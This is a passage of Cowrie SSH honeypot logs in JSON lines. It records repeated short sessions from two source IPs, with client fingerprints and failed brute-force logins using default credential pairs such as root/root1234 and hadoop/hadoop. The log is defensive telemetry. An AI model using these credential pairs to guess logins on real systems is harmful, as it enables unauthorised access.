ac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:00.448783Z","src_ip":"45.156.87.253","session":"8184a73a4359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:00.695928Z","src_ip":"45.156.87.253","session":"8184a73a4359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:01.863965Z","src_ip":"45.156.87.253","session":"8184a73a4359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60396,"dst_ip":"10.17.0.5","dst_port":22,"session":"217c61191ff1","protocol":"ssh","message":"New connection: 45.156.87.253:60396 (10.17.0.5:22) [session: 217c61191ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:03.629381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:03.633795Z","src_ip":"45.156.87.253","session":"217c61191ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:03.718534Z","src_ip":"45.156.87.253","session":"217c61191ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:03.963970Z","src_ip":"45.156.87.253","session":"217c61191ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:05.048534Z","src_ip":"45.156.87.253","session":"217c61191ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60410,"dst_ip":"10.17.0.5","dst_port":22,"session":"311272adbafc","protocol":"ssh","message":"New connection: 45.156.87.253:60410 (10.17.0.5:22) [session: 311272adbafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:07.246013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:07.249727Z","src_ip":"45.156.87.253","session":"311272adbafc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:07.329391Z","src_ip":"45.156.87.253","session":"311272adbafc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:07.572288Z","src_ip":"45.156.87.253","session":"311272adbafc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:08.655555Z","src_ip":"45.156.87.253","session":"311272adbafc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35808,"dst_ip":"10.17.0.5","dst_port":22,"session":"e540c347e3c8","protocol":"ssh","message":"New connection: 45.156.87.253:35808 (10.17.0.5:22) [session: e540c347e3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:10.562364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:10.566015Z","src_ip":"45.156.87.253","session":"e540c347e3c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:10.650918Z","src_ip":"45.156.87.253","session":"e540c347e3c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:10.894203Z","src_ip":"45.156.87.253","session":"e540c347e3c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:11.997821Z","src_ip":"45.156.87.253","session":"e540c347e3c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35818,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c3ea56026d0","protocol":"ssh","message":"New connection: 45.156.87.253:35818 (10.17.0.5:22) [session: 4c3ea56026d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:13.863626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:13.978464Z","src_ip":"45.156.87.253","session":"4c3ea56026d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:13.993332Z","src_ip":"45.156.87.253","session":"4c3ea56026d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123","message":"login attempt [support/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:14.303337Z","src_ip":"45.156.87.253","session":"4c3ea56026d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:15.387797Z","src_ip":"45.156.87.253","session":"4c3ea56026d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35838,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c42ccf89dbd","protocol":"ssh","message":"New connection: 45.156.87.253:35838 (10.17.0.5:22) [session: 0c42ccf89dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:17.360915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:17.363839Z","src_ip":"45.156.87.253","session":"0c42ccf89dbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:17.446597Z","src_ip":"45.156.87.253","session":"0c42ccf89dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:17.690055Z","src_ip":"45.156.87.253","session":"0c42ccf89dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":58182,"dst_ip":"10.17.0.5","dst_port":22,"session":"49a2a397afe7","protocol":"ssh","message":"New connection: 91.92.40.11:58182 (10.17.0.5:22) [session: 49a2a397afe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:18.109975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:18.442673Z","src_ip":"91.92.40.11","session":"49a2a397afe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:18.445058Z","src_ip":"91.92.40.11","session":"49a2a397afe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:18.859663Z","src_ip":"45.156.87.253","session":"0c42ccf89dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password1","message":"login attempt [admin/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:19.317935Z","src_ip":"91.92.40.11","session":"49a2a397afe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:20.504179Z","src_ip":"91.92.40.11","session":"49a2a397afe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35514,"dst_ip":"10.17.0.5","dst_port":22,"session":"6140ead9e0b2","protocol":"ssh","message":"New connection: 45.156.87.253:35514 (10.17.0.5:22) [session: 6140ead9e0b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:20.683392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:20.686400Z","src_ip":"45.156.87.253","session":"6140ead9e0b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:20.772494Z","src_ip":"45.156.87.253","session":"6140ead9e0b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1","message":"login attempt [user3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:21.030540Z","src_ip":"45.156.87.253","session":"6140ead9e0b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:22.114562Z","src_ip":"45.156.87.253","session":"6140ead9e0b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35526,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd82395975d4","protocol":"ssh","message":"New connection: 45.156.87.253:35526 (10.17.0.5:22) [session: bd82395975d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:24.226650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:24.229902Z","src_ip":"45.156.87.253","session":"bd82395975d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:24.310884Z","src_ip":"45.156.87.253","session":"bd82395975d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:24.554856Z","src_ip":"45.156.87.253","session":"bd82395975d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:25.639232Z","src_ip":"45.156.87.253","session":"bd82395975d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35532,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe95dd1be36a","protocol":"ssh","message":"New connection: 45.156.87.253:35532 (10.17.0.5:22) [session: fe95dd1be36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:27.595803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:27.602744Z","src_ip":"45.156.87.253","session":"fe95dd1be36a","protocol":"ssh"}
